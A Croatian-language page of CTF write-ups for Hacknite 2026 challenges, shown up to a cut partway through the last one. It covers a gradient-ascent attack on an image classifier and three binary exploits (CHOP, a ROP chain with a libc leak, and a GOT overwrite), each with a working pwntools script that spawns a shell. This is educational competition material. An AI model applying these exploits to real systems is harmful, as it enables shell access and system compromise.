https://ferhr-my.sharepoint.com/:u:/g/personal/mbunic_fer_hr/IQAzHGhDR_hDQIeVMT9pfBheASoHJ_BZoPcuD3a9kHYpGck?e=dpqoof http://chal.platforma.hacknite.hr:14041/ Uz zadatak je dan izvorni kod. U ovom se zadatku koristi model ''MobileNetV3''. Model nad svakom slikom daje tri izlazne klasifikacije, odnosno model ima tri "glave". Za svaku sliku će biti utvrđene tri klase. Također, slike se ne šalju direktno, nego kao JSON objekt koji se rekonstruira na strani poslužitelja. Dostupno je sučelje na stranici zadatka za generiranje slike koja se potom prevedena u JSON šalje na poslužitelj. Kako bi se riješio zadatak, za poslanu sliku potrebno je dobiti točno određenu kombinaciju triju klasa, pri čemu sigurnost za svaku mora biti veća od 90%. Također je moguć odabir jednog od tri modela koji će klasificirati generiranu sliku korisnika. Naziv jednog modela je ''balanced'', a nazivi druga dva modela su ''overtrained''. Ovdje je problem što se, ako se radi ''gradient ascent'' nad sve tri klase istovremeno tijekom generiranja slike, povećavanje sigurnosti za jednu klasu može negativno utjecati na sigurnost druge klase. Npr. jedna klasa detektira oblik, a druga količinu određene boje na slici, tad će fokusiranje na jednu klasu smanjiti sigurnost za drugu. Kako bi se riješio zadatak, najbolje je prvo za svaku od triju ciljanih klasa generirati sliku koja ih najviše aktivira, a potom pokušati generirati sliku za sve tri istovremeno, kako bi se shvatilo što model točno detektira. Pritom se mogu analizirati sva tri dostupna modela. Analizom svih klasifikacija i klasa koje model detektira s pomoću tehnike ''gradient ascent'' može se ustanoviti da model ima tri klasifikacijske kategorije: kontrast, geometrijsko tijelo/oblik i uzorak. Tražena kombinacija je slika piramide s uzorkom sinusoidnih valova i visokim kontrastom između boja. Skripta za generiranje slika korištenjem tehnike ''gradient ascent'' nad svim trima klasifikacijama istovremeno: import argparse import json import random from pathlib import Path import cv2 import numpy as np import torch import torch.nn as nn import torch.optim as optim import torch.nn.functional as F from torchvision import models, transforms # ============================================================ # 1. Command Line & Configuration # ============================================================ parser = argparse.ArgumentParser(description="Gradascent.") parser.add_argument("model_path", help="Path to checkpoint/model file") parser.add_argument( "combo", nargs="?", default="030", help="Chose combo classes combo" ) args = parser.parse_args() combo = int(args.combo) MODEL_PATH = args.model_path IMAGE_SIZE = 224 ITERATIONS = 1500 LEARNING_RATE = 0.05 DEVICE = torch.device("cuda" if torch.cuda.is_available() else "cpu") SHAPE_CLASSES = ["Pyramid3", "Cube", "Cone", "Sphere"] PATTERN_CLASSES = ["Solid", "SineWaves", "ZigZag", "StraightLines"] CONTRAST_CLASSES = ["HighContrast", "LowContrast"] # quickfix TARGET_SHAPE = combo // 100 TARGET_PATTERN = (combo % 100 - combo % 10) // 10 TARGET_CONTRAST = combo %10 print([TARGET_CONTRAST, TARGET_PATTERN, TARGET_SHAPE][::-1]) print(SHAPE_CLASSES[TARGET_SHAPE], PATTERN_CLASSES[TARGET_PATTERN], CONTRAST_CLASSES[TARGET_CONTRAST]) MODEL_NAME = Path(MODEL_PATH).stem TARGET_NAME = f"{SHAPE_CLASSES[TARGET_SHAPE]}_{PATTERN_CLASSES[TARGET_PATTERN]}_{CONTRAST_CLASSES[TARGET_CONTRAST]}" RUN_DIR = Path("solutions") / TARGET_NAME / MODEL_NAME RUN_DIR.mkdir(parents=True, exist_ok=True) # ============================================================ # Spatial Priors (single, centered object) # ============================================================ # 2D distance map from the center Y, X = torch.meshgrid(torch.arange(IMAGE_SIZE), torch.arange(IMAGE_SIZE), indexing='ij') dist_from_center = torch.sqrt((X - IMAGE_SIZE//2)**2 + (Y - IMAGE_SIZE//2)**2).float().to(DEVICE) FG_MASK = torch.clamp(1.0 - (dist_from_center - 50) / 40, 0.0, 1.0).view(1, 1, IMAGE_SIZE, IMAGE_SIZE) BG_MASK = 1.0 - FG_MASK class MathVisionNet(nn.Module): def __init__(self): super().__init__() self.backbone = models.mobilenet_v3_small(weights=models.MobileNet_V3_Small_Weights.DEFAULT).features self.pool = nn.AdaptiveAvgPool2d(1) self.dropout = nn.Dropout(0.2) self.head_shape = nn.Linear(576, len(SHAPE_CLASSES)) self.head_pattern = nn.Linear(576, len(PATTERN_CLASSES)) self.head_contrast = nn.Linear(576, len(CONTRAST_CLASSES)) def forward(self, x): x = self.dropout(torch.flatten(self.pool(self.backbone(x)), 1)) return self.head_shape(x), self.head_pattern(x), self.head_contrast(x) normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) def total_variation_loss_L1(img): """preserve HARD EDGES and flat colors""" tv_h = torch.abs(img[:, :, 1:, :] - img[:, :, :-1, :]).sum() tv_w = torch.abs(img[:, :, :, 1:] - img[:, :, :, :-1]).sum() return tv_h + tv_w def canvas_to_bgr(canvas): img = (canvas.detach().squeeze(0).permute(1, 2, 0).cpu().numpy().clip(0.0, 1.0) * 255.0).astype(np.uint8) return cv2.cvtColor(img, cv2.COLOR_RGB2BGR) # ============================================================ # Loop # ============================================================ def solve(): print("=" * 72 + "\n Single-Object Hard-Edge Optimization\n" + "=" * 72) model = MathVisionNet().to(DEVICE) checkpoint = torch.load(MODEL_PATH, map_location=DEVICE) state_dict = checkpoint["model_state_dict"] if "model_state_dict" in checkpoint else checkpoint model.load_state_dict(state_dict, strict=True) model.eval() for param in model.parameters(): param.requires_grad_(False) # Initialize canvas with neutral gray + slight noise canvas = (torch.randn(1, 3, IMAGE_SIZE, IMAGE_SIZE, device=DEVICE) * 0.05 + 0.5).requires_grad_(True) optimizer = optim.Adam([canvas], lr=LEARNING_RATE) best_shape, best_pattern, best_contrast, best_overall = 0.0, 0.0, 0.0, 0.0 best_imgs = {"shape": None, "pattern": None, "contrast": None, "overall": None} best_iters = {"shape": 0, "pattern": 0, "contrast": 0, "overall": 0} last_metrics = {} target_s_tensor = torch.tensor([TARGET_SHAPE], device=DEVICE) target_p_tensor = torch.tensor([TARGET_PATTERN], device=DEVICE) target_c_tensor = torch.tensor([TARGET_CONTRAST], device=DEVICE) for i in range(ITERATIONS): optimizer.zero_grad() # Force background to be a solid flat color bg_mean = (canvas * BG_MASK).sum(dim=(2,3), keepdim=True) / (BG_MASK.sum() + 1e-5) fg_mean = (canvas * FG_MASK).sum(dim=(2,3), keepdim=True) / (FG_MASK.sum() + 1e-5) bg_variance_loss = torch.mean(BG_MASK * torch.abs(canvas - bg_mean)) # Maximize RGB distance between Foreground and Background fg_bg_dist_loss = -torch.norm(fg_mean - bg_mean) # ---Transformation Robustness --- scale_factor = random.uniform(0.9, 1.1) new_size = int(IMAGE_SIZE * scale_factor) transformed = F.interpolate(canvas, size=(new_size, new_size), mode='bilinear', align_corners=False) ox, oy = random.randint(-4, 4), random.randint(-4, 4) transformed = torch.roll(transformed, shifts=(ox, oy), dims=(2, 3)) if new_size > IMAGE_SIZE: start = (new_size - IMAGE_SIZE) // 2 transformed = transformed[:, :, start:start+IMAGE_SIZE, start:start+IMAGE_SIZE] elif new_size < IMAGE_SIZE: pad = (IMAGE_SIZE - new_size) // 2 transformed = F.pad(transformed, (pad, IMAGE_SIZE - new_size - pad, pad, IMAGE_SIZE - new_size - pad), mode='reflect') # --- Forward Pass --- out_shape, out_pattern, out_contrast = model(normalize(transformed)) loss_shape = F.cross_entropy(out_shape, target_s_tensor) loss_pattern = F.cross_entropy(out_pattern, target_p_tensor) loss_contrast = F.cross_entropy(out_contrast, target_c_tensor) # --- Total Loss --- # Color diversity to foreground mask color_var = torch.var(torch.stack([canvas[0, 0]*FG_MASK[0,0], canvas[0, 1]*FG_MASK[0,0], canvas[0, 2]*FG_MASK[0,0]]), dim=0).mean() total_loss = ( loss_shape + loss_pattern + loss_contrast + (bg_variance_loss * 15.0) # Enforce flat background + (fg_bg_dist_loss * 2.0) # Push FG/BG colors apart - (color_var * 5.0) # Shape detail + (total_variation_loss_L1(transformed) * 0.005) # L1 TV for HARD EDGES ) total_loss.backward() optimizer.step() # --- Reduced Blurring --- with torch.no_grad(): canvas.clamp_(0.0, 1.0) if i < 400: k, s = 5, 2 elif i < 800: k, s = 3, 1 else: k, s = 0, 0 if k > 0 and i % 20 == 0: canvas.copy_(F.avg_pool2d(canvas, kernel_size=k, stride=1, padding=s)) # --- Evaluation Pass --- c_shape, c_pattern, c_contrast = model(normalize(canvas)) prob_s = torch.softmax(c_shape, dim=1)[0, TARGET_SHAPE].item() prob_p = torch.softmax(c_pattern, dim=1)[0, TARGET_PATTERN].item() prob_c = torch.softmax(c_contrast, dim=1)[0, TARGET_CONTRAST].item() prob_overall = (prob_s * prob_p * prob_c) ** (1.0 / 3.0) current_img = canvas_to_bgr(canvas) last_metrics = {"S": prob_s, "P": prob_p, "C": prob_c, "O": prob_overall, "Pred_S": c_shape.argmax(1).item(), "Pred_P": c_pattern.argmax(1).item(), "Pred_C": c_contrast.argmax(1).item()} # Track Bests if prob_s > best_shape: best_shape, best_iters["shape"], best_imgs["shape"] = prob_s, i, current_img.copy() if prob_p > best_pattern: best_pattern, best_iters["pattern"], best_imgs["pattern"] = prob_p, i, current_img.copy() if prob_c > best_contrast: best_contrast, best_iters["contrast"], best_imgs["contrast"] = prob_c, i, current_img.copy() if prob_overall > best_overall: best_overall, best_iters["overall"], best_imgs["overall"] = prob_overall, i, current_img.copy() if i % 100 == 0 or i == ITERATIONS - 1: print(f"Iter {i:4d}/{ITERATIONS} | Shape: {prob_s*100:5.1f}% | Pat: {prob_p*100:5.1f}% | Con: {prob_c*100:5.1f}% | Overall: {prob_overall*100:5.1f}%") # ============================================================ # 7. Save Outputs # ============================================================ print("\n" + "=" * 72 + "\n Optimization Complete! Saving Files...\n" + "=" * 72) cv2.imwrite(str(RUN_DIR / "best_shape.png"), best_imgs["shape"]) cv2.imwrite(str(RUN_DIR / "best_pattern.png"), best_imgs["pattern"]) cv2.imwrite(str(RUN_DIR / "best_contrast.png"), best_imgs["contrast"]) cv2.imwrite(str(RUN_DIR / "best_overall.png"), best_imgs["overall"]) cv2.imwrite(str(RUN_DIR / "last.png"), current_img) results = { "model": str(MODEL_PATH), "iterations": ITERATIONS, "targets": {"shape": SHAPE_CLASSES[TARGET_SHAPE], "pattern": PATTERN_CLASSES[TARGET_PATTERN], "contrast": CONTRAST_CLASSES[TARGET_CONTRAST]}, "best_scores": { "shape": {"iter": best_iters["shape"], "prob": best_shape * 100}, "pattern": {"iter": best_iters["pattern"], "prob": best_pattern * 100}, "contrast": {"iter": best_iters["contrast"], "prob": best_contrast * 100}, "overall": {"iter": best_iters["overall"], "prob": best_overall * 100} }, "last_iteration_predictions": { "shape_pred": SHAPE_CLASSES[last_metrics["Pred_S"]], "pattern_pred": PATTERN_CLASSES[last_metrics["Pred_P"]], "contrast_pred": CONTRAST_CLASSES[last_metrics["Pred_C"]] } } with open(RUN_DIR / "results.json", "w") as f: json.dump(results, f, indent=4) print(f" Best Shape: {best_shape * 100:6.2f}% (Iter {best_iters['shape']})") print(f" Best Pattern: {best_pattern * 100:6.2f}% (Iter {best_iters['pattern']})") print(f" Best Overall: {best_overall * 100:6.2f}% (Iter {best_iters['overall']})") print(f"\nFiles saved to: {RUN_DIR.resolve()}") if __name__ == "__main__": solve() JSON koji definira opisanu sliku koju će ''balanced'' model detektirati kao traženu kombinaciju i vratiti flag: {"target_model":"modelBalanced.pt", "background":[240,240,240], "objects":[ {"type":"polygon","points":[[69,176],[134,34],[201,169],[68,178],[68,178]], "color":[100,100,100], "gradient":false, "gradStart":[0,0], "gradEnd":[224,224], "colorStart":[255,255,255], "colorEnd":[0,0,0]}, {"type":"polygon","points":[[67,178],[50,118],[133,34],[133,34]], "color":[100,100,100], "gradient":false, "gradStart":[0,0], "gradEnd":[224,224], "colorStart":[255,255,255], "colorEnd":[0,0,0]}, {"type":"path","points":[[141,173],[136,83]], "color":[255,0,0], "thickness":2, "amplitude":100, "frequency":20}, {"type":"path","points":[[134,33],[67,179]], "color":[0,0,0],"thickness":2,"amplitude":100, "frequency":20}, {"type":"path","points":[[134,34],[50,118],[67,179],[135,33],[201,170],[67,179]], "color":[0,0,0],"thickness":2,"amplitude":0,"frequency":0}]} ====Flask Autocomplete==== Rješenje zadatka dostupno je ovdje: [[flaskautocomplete|CTF writeup - Flask Autocomplete]] ======Binarna eksploatacija====== ====Aliens==== Vanzemaljci su napali svijet. Na tebi je da ih pobijediš! Spoji se na servis naredbom netcat: nc chal.hacknite.hr 19005 ===Kontekst zadatka=== {{ hacknite2026:aliens.gif?nolink&500 | Aliens }} Izvorni kod: std::string username; ... int main(){ setbuf(stdin, NULL); setbuf(stdout, NULL); system("clear"); std::ifstream banner("ascii/banner.txt"); std::string line; while (std::getline(banner, line)) { std::cout << line << '\n'; } banner.close(); std::cout << "\n\n"; dialog("Vanzemaljci su napali! Jedina osoba koja može spasiti svijet si ti.\n"); dialog("Tvoj posao je pobijediti sve neprijatelje!\n"); dialog("Na posao, CHOP CHOP!\n"); std::cout << "Unesi svoje ime: "; std::cin >> username; try{ start_battle(); } catch (int){ system("clear"); std::cout << "Nešto je pošlo po zlu..." << std::endl; } return 0; } void start_battle() { std::ifstream alien("ascii/alien.txt"); std::vector alien_lines; std::string alien_line; while (std::getline(alien, alien_line)) { alien_lines.push_back(alien_line); } alien.close(); std::ifstream soldier("ascii/soldier.txt"); std::vector soldier_lines; std::string soldier_line; while (std::getline(soldier, soldier_line)) { soldier_lines.push_back(soldier_line); } soldier.close(); fds.fd = 0; fds.events = POLLIN; for(int enemies = 0; enemies < ENEMIES; enemies++){ int hp = 10 + 5 * enemies; for (int tabs = 6; tabs >= 0 && hp > 0; tabs--) { stop = 0; print_battle(soldier_lines, alien_lines, tabs, hp); alarm(1); signal(SIGALRM, alarm_handler); while (hp > 0 && !stop){ battle(&hp, soldier_lines, alien_lines, tabs); } } if (hp > 0){ system("clear"); std::cout << "Svijet je izgubio :(" << std::endl; exit(0); } else if (enemies == (ENEMIES - 1)){ system("clear"); std::cout << "Pobjeda!! :)" << std::endl; } } } ... void battle(int* hp, std::vector soldier_lines, std::vector alien_lines, int tabs){ char in; int r = poll(&fds, 1, 100); if(!stop && r > 0 && (fds.revents & POLLIN)){ read(0, const_cast (&in), 0x1000); if(in != '\n') throw -1; if(!stop) { --*hp; printf("\033[1A"); if(*hp > 0) print_battle(soldier_lines, alien_lines, tabs, *hp); } } } void print_battle(std::vector soldier_lines, std::vector alien_lines, int tabs, int hp){ char* error = "clear; echo \"Greška u printanju\""; try{ system("clear"); for (int i = 0; i < soldier_lines.size(); i++) { printf(soldier_lines[i].c_str(), username.c_str()); for (int i = 0; i < tabs; i++) { std::cout << '\t'; } if (i == alien_lines.size()-1) {printf(alien_lines[i].c_str(), hp); printf("\n");} else std::cout << alien_lines[i] << std::endl; } } catch (int){ system(error); exit(0); } } Izlaz naredbe ''file'' i ''pwn checksec'': file a.out: a.out: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /ctf/libs/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a6e04cd0b40f1d5fe74818eb259e5188964a0bef, not stripped pwn checksec a.out: [!] Could not populate PLT: Invalid argument (UC_ERR_ARG) [*] '/hacknite_2026/pwn/aliens/a.out' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fc000) RPATH: b'./libs/' Program je igra u kojoj korisnik mora pobijediti vanzemaljce. U ''main'' funkciji korisnika se najprije pita za unos imena nakon čega se pokreće funkcija ''start_battle''. Unutar nje, poziva se funkcija ''battle'' za parsiranje unosa \ te ispis trenutnog stanja borbe funkcijom ''print_battle''. ===Ranjivost i ideja napada=== Ranjivost programa nalazi se u funkciji ''battle'': char in; int r = poll(&fds, 1, 100); if(!stop && r > 0 && (fds.revents & POLLIN)){ read(0, const_cast (&in), 0x1000); // <-- Ranjivost if(in != '\n') throw -1; Varijabla ''in'' je tipa ''char'', odnosno, veličine jednog bajta. Funkcijom ''read'' poziva se unos maksimalne veličine 0x1000 čime je omogućen stack buffer overflow. S obzirom na to da je datoteka kompilirana sa stack canary zaštitom, klasično prepisivanje return adrese nije moguće. Međutim, program je pisan u C++ programskom jeziku. C++ u odnosu na C ima dodatan mehanizam iznimki (try...catch blok) koji može biti iskorišten napadom Catch Handler Oriented Programming (CHOP). Kada program baci iznimku, na stogu se izvodi ''rewind'' kojim se program vraća u okvir prve funkcije koja se nalazi u try bloku i izvodi naredbe catch bloka. Stack canary se provjerava tek na izlazu iz funkcije. Ideja CHOP napada je prepisati return adresu na funkciju u kojoj je definiran catch blok. Ako catch blok koristi varijable definirane na stogu, nad kojima imamo kontrolu zbog stack buffer overflow, moguće je izmijeniti tok programa. Kako bi se zadatak riješio potrebno je iskoristiti stack buffer overflow unutar funkcije ''battle'' na način da se pripremi okvir (frame forging) koji odgovara catch bloku funkcije kojom se može izmijeniti tok, prepisati return adresu na try blok te funkcije i izazvati exception (koji se uvijek baci ako prvi uneseni bajt nije "\\n"). Funkcija ''print_battle'' odgovara tom opisu: char* error = "clear; echo \"Greška u printanju\""; try{ ... } catch (int){ system(error); exit(0); } Funkcija ''print_battle'' unutar catch bloka poziva ''system(error)''. Ako se okvir pripremi na način da se na offsetu za varijablu ''error'' nalazi adresa stringa ''"/bin/sh"'' ili ''"sh"'' , korisnik će dobiti sistemsku ljusku. String za pozivanje ljuske se može pripremiti varijablom ''username'' unosom imena na početku programa. ===Rješenje=== from pwn import * e = ELF("./a.out") if args.D: p = gdb.debug("./a.out",""" b *0x0000000000402e54 c """) elif args.R: p = remote(HOST, PORT) else: p = process("./a.out") p.send("\n\n\n") p.sendline(b"sh") p.send(b"A" * 0x55 + p64(0x408420) + p64(0x402d0d)) p.interactive() ====Bat gadgets==== Priložen je iznimno siguran sustav koji zahtijeva autentifikaciju. Možeš li saznati tko stoji iza njega? Spoji se na servis naredbom netcat: nc chal.hacknite.hr 19004 ===Kontekst zadatka=== Izvorni kod: #include #include #include #include void secret_intro(); void get_user_code (char* entered_code){ char* buf = (char*) malloc(24); read(0,buf,24); printf("Validiranje...\n"); sleep(1); strcpy(entered_code, buf); free(buf); } int main(){ setbuf(stdin, NULL); setbuf(stdout, NULL); FILE* file = fopen("/dev/urandom", "rb"); unsigned char code[8] = {0}; fread(code, 1, 8, file); for(int i = 0; i < 8; i++){ code[i] = (code[i] % 95) + 32; } unsigned char entered_code [24] = {0}; for(int i = 0; i < 3; i++){ printf("%d. UNESI KOD {max 3}: ", i+1); get_user_code(entered_code); if(strcmp(entered_code, code) == 0) { secret_intro(); exit(0); } } printf("Postignut maksimalan broj pokušaja, izlaz...\n"); return 0; } void secret_intro(){ FILE* file = fopen("ascii/bats.txt", "r"); char* buf = (char*) malloc(0x2000); int n = fread(buf, 1, 0x2000, file); printf("%s\n", buf); free(buf); fclose(file); char in; gets(&in); } Izlaz naredbi ''file'' i ''pwn checksec'': file a.out: a.out: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /ctf/libs/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=511906fccc020c030a02b4e085a3f05dd25d8d11, not stripped pwn checksec a.out: [*] '/hacknite_2026/pwn/bat_gadgets/a.out' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fe000) RUNPATH: b'./libs' Program najprije funkcijom ''get_user_code'' traži unos u ''entered_code'' polje koji mora biti jednak izlazu iz ''/dev/urandom'' pohranjen u ''code'' polju. Korisniku je dopušteno maksimalno 3 pokušaja. Nakon unosa, ''strcmp'' funkcijom provjerava se jesu li podatci jednaki. Ako jesu, poziva se ''secret_intro''. Unutar nje poziva se ranjiva funkcija ''gets''. ===Ranjivost i ideja napada=== Unutar ''get_user_code'' funkcije poziva se ''malloc'' s argumentom 24. U vraćeni chunk upisuje se funkcijom ''read'' argumentom 24 za veličinu unosa. Podatci iz chunka kopiraju se u varijablu ''entered_code'' funkcijom ''strcpy''. Na stogu, ''entered_code'' se nalazi odmah prije ''code'' varijable. Ranjivost je neispravan način korištenja ''read'' i ''strcpy'' funkcija. Funkcija ''read'' unos ne obrađuje kao string, zbog čega ne postavlja vrijednost 0x00 na kraju unosa. Funkcija ''strcpy'' kopira podatke sve dok ne naiđe na 0x00 vrijednost koju također kopira. S obzirom na to da se upisuje u chunk veličine 24, dio podataka ulazi u ''prev_size'' zaglavlje idućeg chunka na heapu. Zaglavlje ''prev_size'' prethodi zaglavlju ''size'' koji uvijek sadrži istu vrijednost u svakoj vrtnji programa. Izgled u memoriji: 0x406480: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x406488: 0x21 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x406490: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 ← chunk u koji se zapisuje unos 0x406498: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x4064a0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 ← prev_size idućeg chunka 0x4064a8: 0x61 0xfb 0x01 0x00 0x00 0x00 0x00 0x00 ← size idućeg chunka Jer se od početka unosa do kraja vrijednosti u ''size'' zaglavlju ne nalazi vrijednost 0x00, funkcija ''strcpy'' će prepisati i vrijednost u ''size'' zaglavlju na stog i time izmijeniti vrijednost u ''code'' polju. Zatim u drugom pokušaju ako se unese vrijednost ''size'' zaglavlja, provjera funkcijom ''strcmp'' će vratiti nulu. Kako bi se pozvala sistemska ljuska, potrebno je dobiti leak libc objekta i pozvati funkciju ''system''. To se može postići ROP napadom s obzirom na to da je dostupan stack buffer overflow zbog funkcije ''gets''. Izlaz naredbe ''xgadget'': xgadget --reg-pop a.out: TARGET 0 - [ name: 'a.out' | fmt-arch: ELF-X64 | entry: 0x00000000401110 | exec bytes/segments: 1,125/1 ] 0x00000000401451: pop r12; pop r13; pop r14; pop r15; ret; 0x00000000401453: pop r13; pop r14; pop r15; ret; 0x00000000401455: pop r14; pop r15; ret; 0x00000000401457: pop r15; ret; 0x00000000401454: pop rbp; pop r14; pop r15; ret; 0x000000004011dd: pop rbp; ret; 0x00000000401458: pop rdi; ret; 0x00000000401456: pop rsi; pop r15; ret; 0x00000000401452: pop rsp; pop r13; pop r14; pop r15; ret; Provjerom adrese vidimo da su gadgeti dio funkcije ''batman_gadgets'': gef➤ disas 0x401439 Dump of assembler code for function batman_gadgets: 0x0000000000401439 <+0>: push 0x8 0x000000000040143b <+2>: push 0x7 0x000000000040143d <+4>: push 0x6 0x000000000040143f <+6>: push 0x5 0x0000000000401441 <+8>: push 0x4 0x0000000000401443 <+10>: push 0x3 0x0000000000401445 <+12>: push 0x2 0x0000000000401447 <+14>: push 0x1 0x0000000000401449 <+16>: pop r8 0x000000000040144b <+18>: pop r9 0x000000000040144d <+20>: pop r10 0x000000000040144f <+22>: pop r11 0x0000000000401451 <+24>: pop r12 0x0000000000401453 <+26>: pop r13 0x0000000000401455 <+28>: pop r14 0x0000000000401457 <+30>: pop r15 0x0000000000401459 <+32>: ret Gadgeti za registre RDI, RSI i RDX su prikriveni, no nalaze se u funkciji ako se gledaju na drugačijem offsetu, na primjer: gef➤ x/i 0x0000000000401457 0x401457 : pop r15 gef➤ x/i 0x0000000000401457+1 0x401458 : pop rdi Kako bi se dobio libc leak, može se iskoristiti neka od funkcija u ''.got.plt'' sekciji poput ''puts''. Nakon dobivanja leaka, ponovno se pozove ''secret_intro'' u kojemu se unese ROP lanac za funkciju ''system''. ===Rješenje=== from pwn import * e = ELF("./a.out") r = ROP("./a.out") l = ELF("./libs/libc.so.6") if args.D: p = gdb.debug("./a.out", "b secret_intro") elif args.R: p = remote(HOST, PORT) else: p = process("./a.out") p.send(b"a" * 24) p.send(b"\x61\xfb\x01\x00") bss = e.get_section_by_name(".bss").header.sh_addr + 0x200 def set_args(rdi = None, rsi = None, rdx = None): payload = b"" batman_gadgets = e.sym["batman_gadgets"] if rdi != None: payload += p64(batman_gadgets + 31) + p64(rdi) if rsi != None: payload += p64(batman_gadgets + 29) + p64(rsi) + p64(0) if rdx != None: payload += p64(batman_gadgets + 21) + p64(rdx) + p64(0) * 5 return payload p.clean(2) payload = b"A" * 0x1d payload += set_args(0,bss,8) payload += p64(0x4010a0) #read@plt payload += set_args(0x403fd8) payload += p64(0x401050) payload += p64(e.sym["secret_intro"]) p.sendline(payload) p.send(b"/bin/sh\x00") libc_leak = p.recvline()[:-1] libc_leak = u64(libc_leak + b"\x00" * (8 - len(libc_leak) % 8)) execve = libc_leak - l.sym["__libc_start_main"] + l.sym["execve"] payload = b"A" * 0x1d payload += set_args(bss, 0, 0) payload += p64(execve) p.sendline(payload) p.interactive() ====Colorizer==== Dugo očekivana aplikacija napokon je na tržištu! Oboji svoj ASCII art kako god želiš! Spoji se na servis naredbom netcat: nc chal.hacknite.hr 19003 ===Kontekst zadatka=== {{ hacknite2026:colorizer.gif?nolink&500 | Colorizer}} Izvorni kod: ... unsigned char effects[MAX]; const char* commands[12] = {"BLACK", "RED", "GREEN", "YELLOW", "BLUE",\ "PURPLE", "BROWN", "WHITE", "MOVE", "RETURN", "ERASE", "QUIT"}; int main(){ setbuf(stdin, NULL); setbuf(stdout, NULL); system("clear"); system("cat banner.txt"); cout << "Dugo očekivana aplikacija napokon je izašla na tržište!\n" "Uređivanje ASCII umjetnosti nikada nije bilo lakše.\n" "Unesite vlastiti ASCII art i obojite ga kako god želite, kada god želite\n" "i gdje god želite!\n"; cout << "\n" << BLINK << "\n" << RESET; getchar(); system("clear; cat banner.txt"); cout << "Za odabir opcije unesite tekst koji će biti prikazan na ekranu.\n" "Odabir opcije će se primijeniti na poziciji na kojoj se pokazatelj trenutno " "nalazi (prikazan s " << CURSOR << "O" << RESET << ").\n" << "Pritiskom prijašnje odabrana opcija će se primijeniti i na trenutnoj " "poziciji.\n\n" << BLINK << "\n" << RESET; getchar(); colorize(); exit(0); return 0; } void colorize(){ system("clear; cat banner.txt"); cout << "Unesi ASCII art>> \n"; char* buf = (char*) malloc(MAX); struct pollfd pfd; pfd.fd = 0; pfd.events = POLLIN; int max = 0; do { int n = read(0, buf + max, MAX - max - 1); max += n; int ret = poll(&pfd, 1, 200); if(ret <= 0) { break; } } while(max < (MAX - 1)); if (strcmp(buf,"\n") == 0){ cout << "Krivi input, izlaz." << endl; exit(0); } int idx = max; buf[max] = 0; string command = ""; string last_command = "MOVE"; while(1){ if(buf[idx%max] == '\n'){ if(last_command == "RETURN"){ idx--; continue; } else{ idx++; continue; } } system("clear"); print_ascii(buf, idx, max); print_options(); cout << "\nOption: "; getline(cin,command); if(command == ""){ command = last_command; } for(int i = 0; i < 8; i++){ if(command == commands[i]){ effects[idx%max] |= 1< Izlaz naredbe ''file'' i ''pwn checksec'': file a.out: a.out: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /ctf/libs/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a9c735f82be73122c00469c6653d40bcefe934d0, not stripped pwn checksec a.out: [!] Could not populate PLT: Invalid argument (UC_ERR_ARG) [*] '/hacknite_2026/pwn/colorizer/a.out' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fd000) RPATH: b'./libs/' Program predstavlja ASCII editor za dodavanje ANSI efekata. Korisniku su dane različite mogućnosti dodavanja boje, brisanja boje, pomicanje pokazivača i slično. Funkcijom ''main'', nakon ispisa uvoda, poziva se funkcija ''colorize''. Unutar nje, korisnika se traži unos u varijablu ''buf'' koji predstavlja ASCII simbole koji se editiraju. Polje ''effects'' definirano u ''.bss'' sekciji predstavlja efekte koji će biti prikazani u ispisu. Svaki simbol u varijabli ''buf'' ima za sebe definiran efekt poljem ''effects'', gdje je korelacija definirana indeksom. Na primjer, ''effects[0]'' definira efekte za ''buf[0]'' itd... Indeks pokazivača na simbol koji se uređuje predstavljen je varijablom ''int idx = max'' gdje je ''max'' veličina unosa u polje ''buf''. Pokazivač ''idx'' se pomiče ciklički jer je ograničen varijablom ''max'', odnosno: for(int i = 0; i < 8; i++){ if(command == commands[i]){ effects[idx%max] |= 1< ===Ranjivost i ideja napada=== Ranjivost je način korištenja operatora ''%'' za ograničavanje varijable ''idx''. Operator ''%'' u C programskom jeziku očuva predznak vrijednosti, odnosno, ako je ''idx'' negativan, rezultat operatora ''%'' će također biti negativan. To je djelomično prikriveno u programu jer je ''idx'' inicijaliziran na vrijednost ''max''. Pomicanje pokazivača unatrag naredbom RETURN u prvom ciklusu i dalje ispravno pokazuje na ''effects'' polje. Jednom kada ''idx'' postane negativan, dobije se out of bounds primitiv kojim je moguće uređivati bajtove prije ''effects'' polja, odnosno, ''.got.plt'' sekcije. Kako bi se zadatak riješio, najprije je potrebno poslati dovoljno velik unos u polje ''buf'' kako bi ograničenje varijablom ''max'' bilo dovoljno veliko za offset do ''.got.plt'' sekcije. Zatim korištenjem naredbe RETURN potrebno je doći do vrijednosti u ''.got.plt'' koje je potrebno prepisati. U rješenju se koriste funkcije ''strcmp'' i ''exit'' koje se redom prepisuju na vrijednosti adresa funkcija ''system'' i ''colorize''. Primitiv za pisanje po memoriji dan je samim naredbama programa. ERASE se koristi za postavljanje bajta na 0x00. Različite boje se koriste za postavljanje bitova u bajtu: for(int i = 0; i < 8; i++){ if(command == commands[i]){ effects[idx%max] |= 1< Kada se vrijednosti ispravno prepišu i uređivanje se završi, funkcija ''main'' poziva ''exit'' koja zbog prepisivanja ponovno poziva ''colorize''. Unutar ''colorize'' se poziva ''strcmp'', odnosno ''system'', s argumentom ''buf'' u kojem se nalazi proizvoljni string nakon ponovnog upita za unos (''"/bin/sh"''). ===Rješenje=== from pwn import * e = ELF("./a.out") colors = [b"BLACK", b"RED", b"GREEN", b"YELLOW", b"BLUE", b"PURPLE", b"BROWN", 